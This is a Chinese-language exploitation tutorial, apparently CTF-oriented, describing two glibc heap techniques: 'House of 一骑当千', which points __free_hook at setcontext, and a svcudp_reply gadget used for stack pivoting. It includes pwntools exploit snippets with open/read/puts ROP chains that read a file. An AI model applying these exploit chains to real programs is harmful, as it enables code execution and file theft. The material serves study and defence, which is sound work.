house of 一骑当千&&svcudp_reply
字数 1340 2025-08-23 18:31:08
House of 一骑当千与svcudp_reply利用技术详解
背景与原理
在glibc-2.29及更高版本中,setcontext函数的寄存器赋值方式发生了变化:
- 旧版本(glibc-2.28及之前):通过
rdi指向的内存给寄存器赋值 - 新版本(glibc-2.29+):通过
rdx指向的内存给寄存器赋值
传统利用方式通常使用setcontext + 53的gadget,但随着glibc版本更新,这种方法可能失效。House of 一骑当千是由国资社畜师傅提出的一种更通用的利用方法,直接调用setcontext函数本身进行寄存器赋值。
setcontext函数分析
函数原型
int setcontext(const ucontext_t *ucp);
ucontext_t结构体
struct _libc_fpstate {
/* 64-bit FXSAVE format. */
__uint16_t __ctx(cwd);
__uint16_t __ctx(swd);
__uint16_t __ctx(ftw);
__uint16_t __ctx(fop);
__uint64_t __ctx(rip);
__uint64_t __ctx(rdp);
__uint32_t __ctx(mxcsr);
__uint32_t __ctx(mxcr_mask);
struct _libc_fpxreg _st[8];
struct _libc_xmmreg _xmm[16];
__uint32_t __glibc_reserved1[24];
};
typedef struct ucontext_t {
unsigned long int __ctx(uc_flags);
struct ucontext_t *uc_link;
stack_t uc_stack;
mcontext_t uc_mcontext;
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem;
__extension__ unsigned long long int __ssp[4];
} ucontext_t;
关键结构体成员
-
uc_mcontext- 存储寄存器状态的结构体typedef struct { gregset_t __ctx(gregs); // 寄存器组 fpregset_t __ctx(fpregs); // 浮点寄存器指针 __extension__ unsigned long long __reserved1[8]; } mcontext_t; -
__fpregs_mem- 浮点环境,偏移0xe0,需要可写内存 -
uc_sigmask- 信号量,全0即可 -
__ssp- 用于加载MXCSR寄存器,偏移0x1c0,全0也可
House of 一骑当千利用方法
利用步骤
- 劫持
__free_hook为setcontext函数地址 - 构造
ucontext_t结构体(frame) - 在
__free_hook后布置ROP链 - 释放包含frame的chunk触发利用
关键点
- 需要额外设置
frame['&fpstate']指向可读写内存 - 直接调用
setcontext而非使用setcontext+53等gadget - 通过原始函数参数传递,始终使用
rdi寄存器
示例exp关键部分
# 设置frame
frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8 # 栈迁移目标
frame.rip = libc.symbols['open'] # 控制流劫持
frame.rdi = buf_addr # 文件名参数
frame.rsi = 0 # 打开标志
frame['&fpstate'] = libc.address + 0x3b8000 + 0x1000 # 关键!指向可写内存
# 构造payload
payload = p64(libc.sym['setcontext']) # 直接使用setcontext
payload += p64(pop_rdi_ret)
payload += p64(3) # 文件描述符
payload += p64(pop_rsi_ret)
payload += p64(buf_addr)
payload += p64(pop_rdx_ret)
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(pop_rdi_ret)
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])
svcudp_reply利用方法
函数特点
svcudp_reply函数中存在可利用的gadget,可以通过控制rdi来间接控制rbp和rax,最终实现栈迁移。
关键gadget
mov rbp, qword ptr [rdi + 0x48]
mov rax, qword ptr [rbp + 0x18]
call qword ptr [rax + 0x28]
利用条件
- 控制
rdi + 0x48处的值为目标地址(通常为__free_hook) - 在
rbp + 0x18(__free_hook + 0x18)处放置rax_addr - 在
rax + 0x28处放置leave; retgadget
示例exp关键部分
payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
rax_addr = payload_addr + 0xb0
# 构造payload
payload = p64(libc.sym['svcudp_reply'] + 22) # gadget起始
payload += p64(pop_r14_r15_ret) # 清理栈
payload += b'a'*8 # 填充
payload += p64(rax_addr) # rax值
# 后续ROP链
payload += p64(pop_rdi_ret)
payload += p64(buf_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(libc.sym['open'])
# ... 其他ROP gadget
# 在rax + 0x28处放置leave; ret
payload = payload.ljust(rax_addr - payload_addr, b'\x00')
payload += b'b' * 0x28
payload += p64(leave_ret)
# 触发
edit(1, b'c' * 0x48 + p64(libc.sym['__free_hook']))
free(1)
两种方法对比
| 方法 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| House of 一骑当千 | 直接使用原始函数,不受寄存器变化影响 | 需要设置fpstate指向可写内存 | glibc各版本通用 |
| svcudp_reply | 不需要复杂frame结构 | 依赖特定gadget,不同libc可能不同 | 存在合适gadget的环境 |
防御与检测
- 检测
__free_hook等hook点的修改 - 监控异常
setcontext或svcudp_reply调用 - 加强堆内存管理,防止UAF等漏洞
- 使用最新版glibc,关注安全更新
总结
House of 一骑当千和svcudp_reply利用技术提供了在glibc高版本下的可靠利用方法,特别是在传统gadget失效的情况下。理解这些技术的原理和实现细节对于二进制安全研究和漏洞防御具有重要意义。